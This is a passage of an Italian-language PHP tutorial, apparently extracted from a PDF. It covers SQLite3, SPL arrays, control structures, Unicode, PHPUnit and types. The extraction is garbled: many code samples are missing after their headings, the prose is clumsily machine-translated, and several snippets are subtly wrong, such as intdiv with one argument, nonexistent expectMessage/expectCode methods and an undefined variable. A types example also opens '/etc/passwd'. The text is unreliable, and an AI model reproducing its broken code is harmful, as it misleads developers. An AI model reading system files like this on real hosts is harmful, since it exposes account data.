Oltre a utilizzare le istruzioni LIMIT SQL, è anche possibile utilizzare la funzione querySingle per
recuperare una singola riga o la prima colonna.
<?php
$database = new SQLite3('mysqlitedb.db');
//Without the optional second parameter set to true, this query would return just
//the first column of the first row of results and be of the same type as columnName
$database->querySingle('SELECT column1Name FROM table WHERE column2Name=1');
//With the optional entire_row parameter, this query would return an array of the
//entire first row of query results.
$database->querySingle('SELECT column1Name, column2Name FROM user WHERE column3Name=1', true);
?>
Questo è un esempio completo di tutte le API SQLite comunemente usate. L'obiettivo è quello di
farti funzionare velocemente. Puoi anche ottenere un file PHP eseguibile di questo tutorial.
https://riptutorial.com/it/home 465
$db = new SQLite3('analytics.sqlite', SQLITE3_OPEN_CREATE | SQLITE3_OPEN_READWRITE);
$db->exec('BEGIN');
$db->query('INSERT INTO "visits" ("user_id", "url", "time")
VALUES (42, "/test", "2017-01-14 10:11:23")');
$db->query('INSERT INTO "visits" ("user_id", "url", "time")
VALUES (42, "/test2", "2017-01-14 10:11:44")');
$db->exec('COMMIT');
Inserire dati potenzialmente non sicuri con una dichiarazione preparata. Puoi farlo con parametri
denominati :
Recuperando i dati
Andiamo a prendere le visite di oggi dell'utente n. 42. Utilizzeremo di nuovo una dichiarazione
preparata, ma questa volta con i parametri numerati , che sono più concisi:
$statement = $db->prepare('SELECT * FROM "visits" WHERE "user_id" = ? AND "time" >= ?');
$statement->bindValue(1, 42);
$statement->bindValue(2, '2017-01-14');
$result = $statement->execute();
https://riptutorial.com/it/home 466
print_r($result->fetchArray(SQLITE3_ASSOC));
echo "\n";
Nota: se non ci sono più righe, fetchArray () restituisce false . Puoi approfittare di
questo in un ciclo while .
Libera la memoria - questa operazione non viene eseguita automaticamente, mentre lo script è in
esecuzione
$result->finalize();
abbreviazioni
Ecco una utile stenografia per il recupero di una singola riga come array associativo. Il secondo
parametro significa che vogliamo tutte le colonne selezionate.
Attenzione, questa stenografia non supporta l'associazione dei parametri, ma puoi sfuggire alle
stringhe. Metti sempre i valori nelle citazioni SINGLE! Le virgolette sono usate per i nomi di tabelle
e colonne (simili ai backtick in MySQL).
Pulire
Infine, chiudi il database. Questo viene fatto automaticamente al termine dello script, comunque.
$db->close();
https://riptutorial.com/it/home 467
Capitolo 93: Strutture dati SPL
Examples
SplFixedArray
https://riptutorial.com/it/home 468
Quindi, come puoi vedere da questa illustrazione, un normale array PHP può essere visualizzato
più come un insieme ordinato di coppie chiave / valore, in cui ogni chiave può essere mappata a
qualsiasi valore. Notate in questo array che abbiamo chiavi che sono sia numeri che stringhe, così
come valori di diversi tipi e che la chiave non ha alcun rapporto con l'ordine degli elementi.
$arr = [
9 => "foo",
1 => 4.2,
"bar" => null,
];
9 => foo
1 => 4.2
bar =>
Gli array PHP regolari sono anche dimensionati dinamicamente per noi. Crescono e si restringono
quando spingiamo e scarichiamo i valori da e verso l'array, automaticamente.
Tuttavia, in un array tradizionale la dimensione è fissa e consiste interamente dello stesso tipo di
valore. Inoltre, anziché le chiavi, ogni valore è accessibile dal suo indice, che può essere dedotto
dal suo offset nell'array.
https://riptutorial.com/it/home 469
matrice, un offset è quindi la type size * n del type size * n erano n rappresenta la posizione del
valore nella matrice. Quindi nell'esempio sopra $arr[0] ci dà 1 , il primo elemento dell'array e
$arr[1] ci dà 2 , e così via.
SplFixedArray, tuttavia, non limita il tipo di valori. Limita solo le chiavi ai tipi di numeri. È anche di
dimensioni fisse.
Ciò rende SplFixedArrays più efficiente dei normali array PHP in un modo particolare. Sono più
compatti e richiedono meno memoria.
Istanziare la matrice
SplFixedArray è implementato come un oggetto, ma è possibile accedervi con la stessa sintassi
familiare che si accede a un normale array PHP poiché implementano l'interfaccia ArrayAccess .
Implementano anche interfacce Countable e Iterator modo che si comportino nello stesso modo in
cui verrebbero utilizzati per gli array che si comportano in PHP (ad esempio cose come
count($arr) e foreach($arr as $k => $v) funzionano allo stesso modo per SplFixedArray come
fanno gli array normali in PHP.
$arr[0] = "foo";
$arr[1] = "bar";
$arr[2] = "baz";
0 => foo
1 => bar
2 => baz
3 =>
var_dump(count($arr));
Ci da...
int(4)
https://riptutorial.com/it/home 470
Ridimensionamento dell'array
Tieni presente che, poiché la matrice ha una dimensione fissa, il conteggio restituirà sempre lo
stesso valore. Quindi, mentre unset($arr[1]) risulterà in $arr[1] === null , count($arr) rimane
ancora 4 .
$arr->setSize(3);
var_dump(count($arr));
int(3)
0 => foo
1 =>
2 => baz
$array = [1,2,3,4,5];
$fixedArray = SplFixedArray::fromArray($array);
foreach($fixedArray as $value) {
echo $value, "\n";
}
1
2
3
4
5
$fixedArray[0] = 1;
$fixedArray[1] = 2;
https://riptutorial.com/it/home 471
$fixedArray[2] = 3;
$fixedArray[3] = 4;
$fixedArray[4] = 5;
$array = $fixedArray->toArray();
foreach($array as $value) {
echo $value, "\n";
}
1
2
3
4
5
https://riptutorial.com/it/home 472
Capitolo 94: Strutture di controllo
Examples
Sintassi alternativa per le strutture di controllo
PHP fornisce una sintassi alternativa per alcune strutture di controllo: if , while , for , foreach e
switch .
Rispetto alla sintassi normale, la differenza è che la coppia di apertura è sostituita da due punti ( :
) e la parentesi di chiusura è sostituito da endif; , endwhile; , endfor; , fine ricerca endforeach; o
endswitch; , rispettivamente. Per singoli esempi, consultare l'argomento sulla sintassi alternativa
per le strutture di controllo .
if ($a == 42):
echo "The answer to life, the universe and everything is 42.";
endif;
if ($a == 5):
echo "a equals 5";
elseif ($a == 6):
echo "a equals 6";
else:
echo "a is neither 5 nor 6";
endif;
mentre
while loop itera su un blocco di codice purché una condizione specificata sia vera.
$i = 1;
while ($i < 10) {
echo $i;
$i++;
}
Uscita: 123456789
fare mentre
do-while loop esegue prima un blocco di codice una volta, in ogni caso, quindi scorre attraverso
quel blocco di codice finché una condizione specificata è vera.
https://riptutorial.com/it/home 473
$i = 0;
do {
$i++;
echo $i;
} while ($i < 10);
Output: `12345678910`
vai a
L'operatore goto consente di passare a un'altra sezione del programma. È disponibile da PHP 5.3.
L'istruzione goto è una goto seguita dall'etichetta target desiderata: goto MyLabel; .
<?php
goto MyLabel;
echo 'This text will be skipped, because of the jump.';
MyLabel:
echo 'Hello World!';
?>
dichiarare
declare è usato per impostare una direttiva di esecuzione per un blocco di codice.
• ticks
• encoding
• strict_types
declare(ticks=1);
Per abilitare la modalità tipo strict, l'istruzione declare viene utilizzata con la dichiarazione
strict_types :
declare(strict_types=1);
se altro
https://riptutorial.com/it/home 474
condizione non è soddisfatta si estende il if con un else .
L' operatore ternario valuta qualcosa in base al fatto che una condizione sia vera o meno. È un
operatore di confronto e viene spesso utilizzato per esprimere una semplice condizione if-else in
una forma più breve. Permette di testare rapidamente una condizione e spesso sostituisce una
dichiarazione multi-linea, rendendo il codice più compatto.
Questo è l'esempio di sopra usando un'espressione ternaria e valori variabili: $a=1; $b=2;
echo ($a > $b) ? "a is greater than b" : "a is NOT greater than b";
includi e richiedi
richiedere
require è simile a include , tranne che produrrà un errore di livello E_COMPILE_ERROR irreversibile in
E_COMPILE_ERROR errore. Quando il require fallisce, interromperà lo script. Quando l' include fallisce,
non interromperà lo script e solo emetterà E_WARNING .
require 'file.php';
includere
L' include dichiarazione include e valuta un file.
./variables.php
$a = 'Hello World!';
. / Main.php`
include 'variables.php';
https://riptutorial.com/it/home 475
echo $a;
// Output: `Hello World!`
Fai attenzione a questo approccio, poiché è considerato un odore di codice , perché il file incluso
sta modificando la quantità e il contenuto delle variabili definite nell'ambito specificato.
Puoi anche include file, che restituisce un valore. Questo è estremamente utile per gestire gli array
di configurazione:
configuration.php
<?php
return [
'dbname' => 'my db',
'user' => 'admin',
'pass' => 'password',
];
main.php
<?php
$config = include 'configuration.php';
Questo approccio impedisce al file incluso di inquinare l'ambito corrente con variabili modificate o
aggiunte.
include & require può anche essere usato per assegnare valori a una variabile quando restituito
qualcosa per file.
Esempio :
file include1.php:
<?php
$a = "This is to be returned";
return $a;
?>
file index.php:
ritorno
https://riptutorial.com/it/home 476
Quando viene richiamato il return da una funzione, l'esecuzione della funzione corrente terminerà.
function returnEndsFunctions()
{
echo 'This is executed';
return;
echo 'This is not executed.';
}
Quando return viene chiamato da una funzione con e argomento, l'esecuzione della funzione
corrente terminerà e il valore dell'argomento verrà restituito alla funzione chiamante.
per
for loop vengono in genere utilizzati quando si dispone di un pezzo di codice che si desidera
ripetere un determinato numero di volte.
Uscite: 123456789
per ciascuno
Uscite: 123 .
Per utilizzare il ciclo foreach con un oggetto, deve implementare l'interfaccia Iterator .
$array = ['color'=>'red'];
https://riptutorial.com/it/home 477
se altro altrimenti
elseif
elseif combina if e else . L'istruzione if viene estesa per eseguire un'istruzione diversa nel caso
in cui l'espressione originale if non sia soddisfatta. Ma l'espressione alternativa viene eseguita
solo quando viene soddisfatta l'espressione condizionale elseif .
Il codice seguente mostra "a è maggiore di b", "a è uguale a b" o "a è minore di b":
Puoi utilizzare più istruzioni elseif all'interno della stessa istruzione if:
if ($a == 1) {
echo "a is One";
} elseif ($a == 2) {
echo "a is Two";
} elseif ($a == 3) {
echo "a is Three";
} else {
echo "a is not One, not Two nor Three";
}
Se
interruttore
La struttura switch svolge la stessa funzione di una serie di istruzioni if , ma può eseguire il lavoro
con meno righe di codice. Il valore da testare, come definito switch , viene confrontato per
l'uguaglianza con i valori in ciascuna delle istruzioni case fino a quando viene trovata una
corrispondenza e il codice in quel blocco viene eseguito. Se non viene trovata alcuna istruzione
case corrispondente, viene eseguito il codice nel blocco default , se esiste.
https://riptutorial.com/it/home 478
Ogni blocco di codice in un case o in un'istruzione default dovrebbe terminare con l'istruzione break
. Ciò interrompe l'esecuzione della struttura switch e continua l'esecuzione del codice subito dopo.
Se l'istruzione break è omessa, viene eseguito il codice dell'istruzione del case successivo, anche
se non vi è alcuna corrispondenza . Ciò può causare l'esecuzione inaspettata del codice se
l'istruzione break viene dimenticata, ma può anche essere utile laddove più istruzioni case devono
condividere lo stesso codice.
switch ($colour) {
case "red":
echo "the colour is red";
break;
case "green":
case "blue":
echo "the colour is green or blue";
break;
case "yellow":
echo "the colour is yellow";
// note missing break, the next block will also be executed
case "black":
echo "the colour is black";
break;
default:
echo "the colour is something else";
break;
}
Oltre a testare valori fissi, il costrutto può anche essere forzato per verificare le dichiarazioni
dinamiche fornendo un valore booleano all'istruzione switch e qualsiasi espressione all'istruzione
case . Tieni presente che viene utilizzato il primo valore corrispondente, pertanto il codice
seguente genererà "più di 100":
$i = 1048;
switch (true) {
case ($i > 0):
echo "more than 0";
break;
case ($i > 100):
echo "more than 100";
break;
case ($i > 1000):
echo "more than 1000";
break;
}
Per eventuali problemi di digitazione allentata durante l'utilizzo del costrutto dello switch , vedi
Cambio sorprese
https://riptutorial.com/it/home 479
Capitolo 95: Supporto Unicode in PHP
Examples
Convertire i caratteri Unicode nel formato "\ uxxxx" usando PHP
if (!function_exists('codepoint_encode')) {
function codepoint_encode($str) {
return substr(json_encode($str), 1, -1);
}
}
if (!function_exists('codepoint_decode')) {
function codepoint_decode($str) {
return json_decode(sprintf('"%s"', $str));
}
}
Come usare :
Uscita :
if (!function_exists('mb_internal_encoding')) {
function mb_internal_encoding($encoding = NULL) {
return ($from_encoding === NULL) ? iconv_get_encoding() :
iconv_set_encoding($encoding);
}
}
if (!function_exists('mb_convert_encoding')) {
function mb_convert_encoding($str, $to_encoding, $from_encoding = NULL) {
return iconv(($from_encoding === NULL) ? mb_internal_encoding() : $from_encoding,
$to_encoding, $str);
}
https://riptutorial.com/it/home 480
}
if (!function_exists('mb_chr')) {
function mb_chr($ord, $encoding = 'UTF-8') {
if ($encoding === 'UCS-4BE') {
return pack("N", $ord);
} else {
return mb_convert_encoding(mb_chr($ord, 'UCS-4BE'), $encoding, 'UCS-4BE');
}
}
}
if (!function_exists('mb_ord')) {
function mb_ord($char, $encoding = 'UTF-8') {
if ($encoding === 'UCS-4BE') {
list(, $ord) = (strlen($char) === 4) ? @unpack('N', $char) : @unpack('n', $char);
return $ord;
} else {
return mb_ord(mb_convert_encoding($char, 'UCS-4BE', $encoding), 'UCS-4BE');
}
}
}
if (!function_exists('mb_htmlentities')) {
function mb_htmlentities($string, $hex = true, $encoding = 'UTF-8') {
return preg_replace_callback('/[\x{80}-\x{10FFFF}]/u', function ($match) use ($hex) {
return sprintf($hex ? '&#x%X;' : '&#%d;', mb_ord($match[0]));
}, $string);
}
}
if (!function_exists('mb_html_entity_decode')) {
function mb_html_entity_decode($string, $flags = null, $encoding = 'UTF-8') {
return html_entity_decode($string, ($flags === NULL) ? ENT_COMPAT | ENT_HTML401 :
$flags, $encoding);
}
}
Come usare :
https://riptutorial.com/it/home 481
echo "\nEncode / decode to HEX based HTML entities\n";
var_dump(mb_htmlentities('tchüß'));
var_dump(mb_html_entity_decode('tchüß'));
Uscita :
Le funzioni di stringa native sono associate a funzioni a byte singolo, non funzionano bene con
Unicode. Le estensioni iconv e mbstring offrono un certo supporto per Unicode, mentre l'ext-
extention offre pieno supporto. Intl è un wrapper per la libreria facto de standard ICU, vedi
http://site.icu-project.org per informazioni dettagliate che non sono disponibili su
http://php.net/manual/en/book.intl.php . Se non è possibile installare l'estensione, dare un'occhiata
a un'implementazione alternativa di Intl dal framework Symfony .
ICU offre internazionalizzazione completa di cui Unicode è solo una parte più piccola. Puoi
eseguire facilmente la transcodifica:
https://riptutorial.com/it/home 482
Capitolo 96: Test unitario
Sintassi
• Elenco completo di asserzioni . Esempi:
• assertTrue(bool $condition[, string $messageIfFalse = '']);
• assertEquals(mixed $expected, mixed $actual[, string $messageIfNotEqual = '']);
Osservazioni
Unit test Unit sono usati per testare il codice sorgente per vedere se contiene accordi con gli input
come ci aspettiamo. Unit test Unit sono supportati dalla maggior parte dei framework. Esistono
diversi test PHPUnit diversi e potrebbero differire nella sintassi. In questo esempio usiamo PHPUnit
.
Examples
Test delle regole di classe
Diciamo che abbiamo una semplice classe LoginForm con il metodo rules () (usato nella pagina di
login come modello di framework):
class LoginForm {
public $email;
public $rememberMe;
public $password;
/* rules() method returns an array with what each field has as a requirement.
* Login form uses email and password to authenticate user.
*/
public function rules() {
return [
// Email and Password are both required
[['email', 'password'], 'required'],
// Password must match this pattern (must contain only letters and numbers)
['password', 'match', 'pattern' => '/^[a-z0-9]+$/i'],
];
}
/** the validate function checks for correctness of the passed rules */
public function validate($rule) {
$success = true;
list($var, $type) = $rule;
foreach ((array) $var as $var) {
https://riptutorial.com/it/home 483
switch ($type) {
case "required":
$success = $success && $this->$var != "";
break;
case "email":
$success = $success && filter_var($this->$var, FILTER_VALIDATE_EMAIL);
break;
case "boolean":
$success = $success && filter_var($this->$var, FILTER_VALIDATE_BOOLEAN,
FILTER_NULL_ON_FAILURE) !== null;
break;
case "match":
$success = $success && preg_match($rule["pattern"], $this->$var);
break;
default:
throw new \InvalidArgumentException("Invalid filter type passed")
}
}
return $success;
}
}
Per eseguire test su questa classe, utilizziamo i test di unità (controllando il codice sorgente per
vedere se soddisfa le nostre aspettative):
/**
* This method belongs to Unit test class LoginFormTest and
* it's testing rules that are described above.
*/
public function testRuleValidation() {
$rules = $this->loginForm->rules();
https://riptutorial.com/it/home 484
// Revert email to valid for next test
$this->loginForm->email = '[email protected]';
In che modo esattamente i test Unit possono aiutare (esclusi gli esempi generali) qui? Ad
esempio, si adatta molto bene quando otteniamo risultati inaspettati. Ad esempio, prendiamo
questa regola da prima:
Con dozzine di regole diverse (supponendo che stiamo usando non solo e-mail e password), è
difficile individuare gli errori. Questo test unitario:
Passerà il nostro primo esempio ma non secondo . Perché? Perché nel 2 ° esempio abbiamo
scritto un modello con un errore di battitura (segno + mancato), il che significa che accetta solo
una lettera / numero.
I test unitari possono essere eseguiti in console con il comando: phpunit [path_to_file] . Se tutto
è OK, dovremmo essere in grado di vedere che tutti i test sono in stato OK , altrimenti vedremo
Error (errori di sintassi) o Fail (almeno una riga in quel metodo non ha superato).
Con parametri aggiuntivi come --coverage possiamo anche vedere visivamente quante righe nel
codice backend sono state testate e quali sono state superate / fallite. Questo vale per qualsiasi
framework che abbia installato PHPUnit .
https://riptutorial.com/it/home 485
Esempio di come appare il test PHPUnit in console (aspetto generale, non secondo questo
esempio):
I metodi di test spesso richiedono dati da testare. Per testare completamente alcuni metodi è
necessario fornire diversi set di dati per ogni possibile condizione di test. Certo, puoi farlo
manualmente usando i loop, come questo:
https://riptutorial.com/it/home 486
...
public function testSomething()
{
$data = [...];
foreach($data as $dataSet) {
$this->assertSomething($dataSet);
}
}
...
Il fornitore di dati è una funzione che dovrebbe restituire i dati per il tuo caso di test specifico.
Un metodo di fornitore di dati deve essere pubblico e restituire una matrice di matrici
o un oggetto che implementa l'interfaccia di Iterator e produce una matrice per ogni
fase di iterazione. Per ogni array che fa parte della collezione verrà chiamato il metodo
di test con i contenuti dell'array come argomenti.
Per utilizzare un fornitore di dati con il test, utilizzare @dataProvider annotazione @dataProvider con
il nome della funzione del fornitore di dati specificata:
/**
* @dataProvider dataProviderForTest
*/
public function testEquals($a, $b)
{
$this->assertEquals($a, $b);
}
Matrice di array
Si noti che dataProviderForTest() restituisce array di matrici. Ogni array annidato ha
due elementi e riempiranno i parametri necessari per testEquals() uno per uno. Errore
come questo verrà generato Missing argument 2 for Test::testEquals() se non ci sono
abbastanza elementi. PHPUnit eseguirà automaticamente il loop dei dati ed eseguirà
test:
https://riptutorial.com/it/home 487
{
return [
[1,1], // [0] testEquals($a = 1, $b = 1)
[2,2], // [1] testEquals($a = 2, $b = 2)
[3,2] // [2] There was 1 failure: 1) Test::testEquals with data set #2 (3, 4)
];
}
Ogni set di dati può essere nominato per comodità. Sarà più facile rilevare i dati in errore:
iteratori
function rewind() {
return reset($this->array);
}
function current() {
return current($this->array);
}
function key() {
return key($this->array);
}
function next() {
return next($this->array);
}
function valid() {
return key($this->array) !== null;
}
}
...
https://riptutorial.com/it/home 488
{
$toCompare = 0;
$this->assertEquals($a, $toCompare);
}
Si noti che anche per un singolo parametro, il fornitore di dati deve restituire un array
[$parameter]
Perché se cambiamo il nostro metodo current() (che in realtà restituisce i dati su ogni iterazione)
a questo:
function current() {
return current($this->array)[0];
}
Riceveremo un errore:
1) Warning
The data provider specified for Test::testEquals is invalid.
generatori
Non è esplicitamente indicato e mostrato nel manuale, ma è anche possibile utilizzare un
generatore come fornitore di dati. Nota che la classe Generator implementa effettivamente
l'interfaccia Iterator .
https://riptutorial.com/it/home 489
/**
* @param string $file
*
* @dataProvider fileDataProvider
*/
public function testSomethingWithFiles($fileName)
{
//$fileName is available here
Il fornitore di note yield un array. Riceverà invece un avviso di fornitore di dati non
validi.
Verificare le eccezioni
class Car
{
/**
* @throws \Exception
*/
public function drive()
{
throw new \Exception('Useful message', 1);
}
}
È possibile farlo racchiudendo la chiamata di metodo in un blocco try / catch e facendo asserzioni
sulle proprietà dell'oggetto execption, ma in modo più conveniente è possibile utilizzare metodi di
asserzione di eccezioni. A partire da PHPUnit 5.2 sono disponibili i metodi expectX () per
l'affermazione di tipo di eccezione, messaggio e codice
https://riptutorial.com/it/home 490
// test
$this->expectException($expectedClass);
$this->expectMessage($expectedMessage);
$this->expectCode($expectedCode);
// invoke
$car->drive();
}
}
// test
$this->setExpectedException($expectedClass, $expectedMessage, $expectedCode);
// invoke
$car->drive();
}
}
https://riptutorial.com/it/home 491
Capitolo 97: tipi
Examples
Interi
Gli integer in PHP possono essere specificati in modo nativo in base 2 (binario), base 8 (ottale),
base 10 (decimale) o base 16 (esadecimale).
$my_decimal = 42;
$my_binary = 0b101010;
$my_octal = 052;
$my_hexadecimal = 0x2a;
Gli interi sono lunghi 32 o 64 bit, a seconda della piattaforma. La costante PHP_INT_SIZE mantiene
le dimensioni integer in byte. PHP_INT_MAX e (dal PHP 7.0) PHP_INT_MIN sono anche disponibili.
I valori interi vengono creati automaticamente come necessario da float, booleani e stringhe. Se è
necessario un typecast esplicito, può essere eseguito con il cast (int) o (integer) :
$my_numeric_string = "123";
var_dump($my_numeric_string);
// Output: string(3) "123"
$my_integer = (int)$my_numeric_string;
var_dump($my_integer);
// Output: int(123)
$too_big_integer = PHP_INT_MAX + 7;
var_dump($too_big_integer);
// Output: float(9.2233720368548E+18)
Non esiste un operatore di divisione intero in PHP, ma può essere simulato utilizzando un cast
implicito, che esegue sempre "round" semplicemente scartando la parte float. A partire dalla
versione 7 di PHP, è stata aggiunta una funzione di divisione intera.
$not_an_integer = 25 / 4;
var_dump($not_an_integer);
// Output: float(6.25)
var_dump((int) (25 / 4)); // (see note below)
// Output: int(6)
var_dump(intdiv(25 / 4)); // as of PHP7
https://riptutorial.com/it/home 492
// Output: int(6)
(Si noti che le parentesi aggiuntive intorno a (25 / 4) sono necessarie perché il cast (int) ha una
precedenza maggiore rispetto alla divisione)
stringhe
Una stringa in PHP è una serie di caratteri a byte singolo (ovvero non esiste un supporto Unicode
nativo) che può essere specificata in quattro modi:
Singolo quotato
Visualizza le cose quasi completamente "così come sono". Le variabili e la maggior parte delle
sequenze di escape non saranno interpretate. L'eccezione è che per visualizzare una virgoletta
singola letterale, si può scappare con una barra rovesciata ', e per visualizzare una barra
rovesciata, si può scappare con un'altra barra rovesciata \
/*
string(68) "Nothing is parsed, except an escap'd apostrophe or backslash. $foo\n"
*/
Doppio virgolette
A differenza di una stringa con quotatura singola, verranno valutati nomi di variabili semplici e
sequenze di escape nelle stringhe. Le parentesi graffe (come nell'ultimo esempio) possono essere
utilizzate per isolare nomi di variabili complessi.
$variable1 = "Testing!";
$variable2 = [ "Testing?", [ "Failure", "Success" ] ];
$my_string = "Variables and escape characters are parsed:\n\n";
$my_string .= "$variable1\n\n$variable2[0]\n\n";
$my_string .= "There are limits: $variable2[1][0]";
$my_string .= "But we can get around them by wrapping the whole variable in braces:
{$variable2[1][1]}";
var_dump($my_string);
/*
string(98) "Variables and escape characters are parsed:
Testing!
Testing?
But we can get around them by wrapping the whole variable in braces: Success
*/
https://riptutorial.com/it/home 493
heredoc
In una stringa heredoc, i nomi delle variabili e le sequenze di escape vengono analizzati in modo
simile alle stringhe con virgolette doppie, sebbene le parentesi non siano disponibili per nomi di
variabili complessi. L'inizio della stringa è delimitato da <<< identifier e la fine da identifier , dove
identifier è un nome PHP valido. L'identificatore finale deve apparire su una riga da solo.
Nessuno spazio bianco è consentito prima o dopo l'identificatore, anche se come qualsiasi riga in
PHP, deve anche essere terminato da un punto e virgola.
/*
string(268) "Everything is parsed in the same fashion as a double-quoted string,
but there are advantages. Including text blocks is easier; database queries and HTML output
can benefit from this formatting.
Once we hit a line containing nothing but the identifier, the string ends."
*/
Nowdoc
Una stringa nowdoc è come la versione a virgola singola di heredoc, anche se non vengono
valutate nemmeno le sequenze di escape più elementari. L'identificatore all'inizio della stringa è
racchiuso tra virgolette singole.
/*
string(116) "A similar syntax to heredoc but, similar to single quoted strings,
nothing is parsed (not even escaped apostrophes \' and backslashes \\.)"
*/
booleano
Questo codice imposta il valore di $foo come true e $bar come false :
$foo = true;
https://riptutorial.com/it/home 494
$bar = false;
true e false non fanno distinzione tra maiuscole e minuscole, quindi è possibile utilizzare anche
TRUE e FALSE , anche il FaLsE è possibile. L'utilizzo di lettere minuscole è più comune e consigliato
nella maggior parte delle guide di stile del codice, ad esempio PSR-2 .
A causa del fatto che PHP è debolmente digitato, se $foo sopra è diverso da true o false , viene
automaticamente forzato a un valore booleano.
I seguenti valori risultano false :
Per evitare questo paragone allentato, puoi applicare un confronto forte usando === , che
confronta valore e tipo . Vedi Tipo confronto per i dettagli.
Per convertire un tipo in booleano, puoi usare il cast (bool) o (boolean) prima del tipo.
Conversione booleana in una stringa (si noti che false restituisce una stringa vuota):
https://riptutorial.com/it/home 495
var_dump((bool) -2); // bool(true)
var_dump((bool) "foo"); // bool(true)
var_dump((bool) 2.3e5); // bool(true)
var_dump((bool) array(12)); // bool(true)
var_dump((bool) array()); // bool(false)
var_dump((bool) "false"); // bool(true)
Galleggiante
$float = 0.123;
Per ragioni storiche "double" viene restituito da gettype() in caso di float e non
semplicemente "float"
I float sono numeri in virgola mobile, che consentono una maggiore precisione di output rispetto ai
numeri interi semplici.
I float e gli interi possono essere usati insieme a causa del casting loose di PHP di tipi variabili:
$sum = 3 + 0.14;
php non mostra float come numero float come altre lingue, ad esempio:
$var = 1;
echo ((float) $var); //returns 1 not 1.0
avvertimento
Precisione in virgola mobile
I numeri in virgola mobile hanno una precisione limitata. Sebbene dipenda dal sistema,
in genere PHP fornisce un errore relativo massimo a causa dell'arrotondamento
nell'ordine di 1.11e-16. Le operazioni aritmetiche non elementari possono dare errori
più grandi e la propagazione degli errori deve essere presa in considerazione quando
si compongono diverse operazioni.
Inoltre, i numeri razionali che sono esattamente rappresentabili come numeri in virgola
mobile nella base 10, come 0,1 o 0,7, non hanno una rappresentazione esatta come
numeri in virgola mobile in base 2 (binari), che viene usata internamente,
indipendentemente dalla dimensione della mantissa . Quindi, non possono essere
convertiti nelle loro controparti binarie interne senza una piccola perdita di precisione.
Ciò può portare a risultati confusi: ad esempio, floor ((0,1 + 0,7) * 10) restituirà
solitamente 7 anziché 8 previsti, poiché la rappresentazione interna sarà qualcosa
come 7.9999999999999991118 ....
https://riptutorial.com/it/home 496
Quindi non fidarti mai dei risultati di numeri fluttuanti sull'ultima cifra e non confrontare i
numeri in virgola mobile direttamente per l'uguaglianza. Se è necessaria una maggiore
precisione, sono disponibili le funzioni matematiche di precisione arbitrarie e le funzioni
gmp.
callable
Le callebles sono tutto ciò che può essere chiamato come callback. Le cose che possono essere
definite "richiamate" sono le seguenti:
• Funzioni anonime
• Classi statiche
Le callback possono essere indicate con un suggerimento callable partire da PHP 5.4.
$callable = function () {
return 'value';
};
call_something($callable);
Nullo
PHP rappresenta "nessun valore" con la parola chiave null . È in qualche modo simile al
puntatore nullo in linguaggio C e al valore NULL in SQL.
https://riptutorial.com/it/home 497
Verifica se la variabile è stata impostata su null:
$nullvar = null;
unset($nullvar);
if ($nullvar === null) { /* true but also a Notice is printed */ }
if (is_null($nullvar)) { /* true but also a Notice is printed */ }
Tipo di confronto
Esistono due tipi di confronto : confronto libero con == e confronto rigoroso con === . Il confronto
rigoroso assicura che sia il tipo che il valore di entrambi i lati dell'operatore siano gli stessi.
// Loose comparisons
var_dump(1 == 1); // true
var_dump(1 == "1"); // true
var_dump(1 == true); // true
var_dump(0 == false); // true
// Strict comparisons
var_dump(1 === 1); // true
var_dump(1 === "1"); // false
var_dump(1 === true); // false
var_dump(0 === false); // false
Puoi anche usare un confronto forte per verificare se il tipo e il valore non corrispondono usando
!== .
Un tipico esempio in cui l'operatore == non è sufficiente, sono funzioni che possono restituire tipi
diversi, come strpos , che restituisce false se la searchword non viene trovata e la posizione di
corrispondenza ( int ) in caso contrario:
https://riptutorial.com/it/home 498
// strpos returns false, so == comparison works as expected here, BUT:
if(strpos('text bla', 'text') == false)
// strpos returns 0 (found match at position 0) and 0==false is true.
// This is probably not what you expect!
if(strpos('text','text') === false)
// strpos returns 0, and 0===false is false, so this works as expected.
Digitare Casting
PHP generalmente indovinerà correttamente il tipo di dati che si intende utilizzare dal contesto in
cui è utilizzato, tuttavia a volte è utile forzare manualmente un tipo. Questo può essere ottenuto
anteponendo la dichiarazione con il nome del tipo richiesto tra parentesi:
$bool = true;
var_dump($bool); // bool(true)
$string = "asdf";
var_dump((unset)$string); // NULL
risorse
Una risorsa è un tipo speciale di variabile che fa riferimento a una risorsa esterna, ad esempio un
file, un socket, un flusso, un documento o una connessione.
https://riptutorial.com/it/home 499
$file = fopen('/etc/passwd', 'r');
echo gettype($file);
# Out: resource
echo $file;
# Out: Resource id #2
Esistono diversi (sotto) tipi di risorse. Puoi controllare il tipo di risorsa usando get_resource_type() :
Digitare giocoleria
PHP è un linguaggio debolmente tipizzato. Non richiede la dichiarazione esplicita di tipi di dati. Il
contesto in cui viene utilizzata la variabile determina il suo tipo di dati; la conversione viene
eseguita automaticamente:
$a = "2"; // string
$a = $a + 2; // integer (4)
$a = $a + 0.5; // float (4.5)
$a = 1 + "2 oranges"; // integer (3)
https://riptutorial.com/it/home 500
Capitolo 98: Tratti
Examples
Tratti per facilitare il riutilizzo del codice orizzontale
interface Logger {
function log($message);
}
Ora diciamo che abbiamo due concrete implementazioni dell'interfaccia di Logger : FileLogger e
ConsoleLogger .
Ora se si definisce qualche altra classe Foo che si desidera anche essere in grado di eseguire
attività di logging, si potrebbe fare qualcosa del genere:
Foo ora è anche un Logger , ma la sua funzionalità dipende dall'implementazione di Logger passata
tramite setLogger() . Se ora vogliamo che anche la Bar classe abbia questo meccanismo di
registrazione, dovremmo duplicare questa parte di logica nella classe Bar .
trait LoggableTrait {
https://riptutorial.com/it/home 501
protected $logger;
Ora che abbiamo definito la logica in un tratto, possiamo usare il tratto per aggiungere la logica
alle classi Foo e Bar :
class Foo {
use LoggableTrait;
}
class Bar {
